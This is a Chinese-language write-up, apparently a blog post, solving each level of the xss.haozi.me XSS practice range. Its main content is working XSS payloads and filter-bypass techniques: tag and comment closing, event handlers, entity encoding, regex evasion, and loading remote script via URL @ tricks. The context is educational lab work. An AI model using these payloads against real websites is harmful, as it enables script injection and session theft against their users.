xss靶场练习(一)之xss.haozi.me

目录

前言

0x00

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x09

0x0A

0x0B

0x0C

0x0D

0x0E

0x0F

0x10

0x11

0x12


 

前言

xss实战第一部曲,  实战的靶场是部署在github上的, 所以可能有些延迟(你懂的), 然后给出地址:

https://xss.haozi.me/

玩法很简单,  进行xss注入直至alert(1)成功。

fight!

0x00

首先看看布局:

看到源码什么防护都没有,  直接抛一个常规payload过了(过马路一般):

<script>alert(1)</script>

 

0x01

看到注入点是在<textarea></textarea>标签中,  所以用上一题的方法是不会被解析的, 故需要去构造标签, 闭合<textarea></textarea>, 就可以注入了:

</textarea>	<script>alert(1)</script>  <textarea>

或者,  利用error事件也可以:

</textarea><img src="" onerror=alert(1)>

由于src是空, 所以肯定会报错, 故通过错误调用事件成功注入xss:

 

0x02

这题的注入点是把值转化为字符串, 然后显示在输入框内,  这样前两题的标签闭合注入也就失效了

提到闭合,  那么就好办了,  我们可以借鉴sql注入的方法,  将前面的双引号闭合, 然后注入新的标签:

" >  <script>alert(1)</script>

同样, 利用error也可以, 方法有很多,  但思路都一样

 

0x03

发现括号, 方括号都被过滤了:

但是可以用 `` 来代替:

<script>alert`1`</script>

 

0x04

这题把括号、正括号和引号都过滤了:

可以考虑用html编码来绕过,  对编码不熟悉的可参考:     一次对浏览器解析和XSS的深度探究

将(1)进行html编码:

<img src="" onerror=alert&#x28;&#x31;&#x29;>

 

0x05

此题的注入点处于注释符之间,  而注释符的后半部被无情的替换为一个😂, 从而防止了注释被闭合:

这题涉及的知识比较牛,  就是注释方式有两种:

  •  <!-- 注释内容 -->
  •  <!-- 注释内容 --!>

所以就可以用第二种方法:

--!>  <script>alert(1)</script><!--

 

 

0x06

这题用了正则表达式来过滤:

分析regex表达式: 

/auto|on.*=|>/ig

它匹配了:  auto 、以on开头且以=结尾的字符串 >

所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

     

但是它并没有匹配换行符, 可以通过换行来绕过匹配:

type="image" src="" onerror
=alert(1)

 

0x07

这题也是正则表达式,  将匹配到的替换为空:

 

接下来分析正则表达式: 

 /<\/?[^>]+>/gi

这里分为三部分来分析:  /<\/?[^>]+>/gi

  • <\/?

   \转义符与/结合,  从而转义了/, 进而含义是匹配:  </

   再加上+ (匹配前面的子表达式一次或多次), 所以是匹配: < 或者 </

  • [^>]+

   首先要明白,  中括号的用法:  [abc] => 匹配abc中的任意一个;  

   然后^符号的两种用法:

    1.  限定开头:  比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A

    2.  取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。 

 最后是+的含义:匹配前面的子表达式一次或多次。

 所以, 总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次

  • >

 单纯匹配>。

总的表达式就是,匹配:  </ 任意字符 >,  而且 /i 过滤了大小写

 

然后百撕不得其解... 看了一下答案,  发现html的单标签竟然也可以解析, html容错太厉害了吧

<img src="" onerror=alert(1) 

 

0x08

正则过滤了: </style>

那么可以通过多加一个空格, 造成正则逃逸

</style ><script>alert(1)</script><style>

或者也可以利用正则式不能匹配空格来绕过:

</style
><script>alert(1)</script><style>

 

0x09

这题正则表达式白名单式地匹配了固定网址:

我们可以通过在正确的网址后面继续做文章,  说白了就是输入的xss中必须包含指定网址就可以了;

在com后面多加字符, 再把前面的双引号闭合, 再输入onerror错误事件:

https://www.segmentfault.com1" onerror=alert(1) 

或者

https://www.segmentfault.com"></script><img src="" onerror="alert(1)

 

0x0A

这题更加牛*了....通过html转义, 把能注入的关键字都过滤了:

无法在网址后面加标签等操作了,  

但是,  换个思路想(看了答案才知道),  可以直接引用指定网站下的目录文件来达到xss注入的目的,

比如: 在靶场的目录下有个j.js文件,  里面有alert(1);代码, 直接调用即可:

https://www.segmentfault.com.haozi.me/j.js

 

  • 再者,  也可用url的@语法来进行跳转调用,  

打个比方,  在游览器输入: 

https://www.baidu.com@www.hao123.com

最终是跳转到www.hao123.com的网址的:

所以,  我们可以将写好的 j.js 文件, 内容为:

alert(1);

放到服务器 ( 公网 ) www.meta.com上:

然后@跳转访问即可 (beefhook原理)

https://www.segmentfault.com@https://www.meta.com/j.js

注意要都要为https或者http: (服务器还没申请ssl证书...所以不是https)

 

0x0B

程序将所有字母转换为大写:

这里需要明白的一点是

  • HTML中对大小写不敏感
  • JS中对大小写敏感

马上可以有一个思路: 对js代码进行编码处理, 而html部分不变

<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">

然后另一种方法是: 

域名对大小写也不敏感  ,  所有可以用上一题的方法,  调用靶机上自带的j.js代码,  完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

 

0x0C

这题和上一题相比, 只是多了一个对script的过滤, 用上一题的第一种方法即可:

  • 第二种方法也可以, 思路和sql注入类似

发现script被替换为空,  那么可以前后进行畸形构造:

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

 

0x0D

把斜杠, 单、双引号都过滤了:

惊奇地发现回车可以破坏注释结构:

那么再直接注入alert(1),  再配合js的注释符 --> 注释掉'):


alert(1);
-->

 

0x0E

这题的正则表达式匹配情况:

也就是将尖括号后面追加一个下划线, 并且将所有字符大写:

比如:    <a    变为:   <_A

这几乎过滤了所有标签,  包括<script>,  首先想到编码处理:

不得行...

看了下答案,,,太牛了...逆向思维, 找到一个字符的大写是s的:  ſ  (古英文, 拉丁文):

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

尝试了一下在script中间html编码,  发现并不能被html解码,  因为它不在html标签中:

 

0x0F

这题将一些常用的注入字符进行了html编码处理:

但是, 它忽略了一点,  由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行,  所以可以说, 被过滤的字符可以用

发现input值处于单引号和括号中间, 

注入使其闭合,  在注释掉后面的内容即可:

'); alert(1); //

或者也可闭合后面的单引号:

'); alert('1

 

0x10

没有过滤, 随意给window.date一个值,  再注入:

''; alert(1);

 

0x11

发现所有一些字符被转义了,  就连换行符等也被转义了:

但是发现竟然还可以用....原因是: 

 //虽然被转义成了\/\/,  但转义之后还是//,  在js中还是注释符 (勿与正则弄混) 

"); alert(1); //

或者:

"); alert("1

 

0x12

这题将双引号转义了, 就不能好好闭合了:

但是, 换个思路, 它并没有将转义符转义,  那么我们可以将转义符转义:

\"); alert(1); //

补充一个的答案(github上看大佬的答案):

通过闭合前面的script标签,  内嵌一个script标签即可:

</script> <script>alert(1)</script><script>

  • 19
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值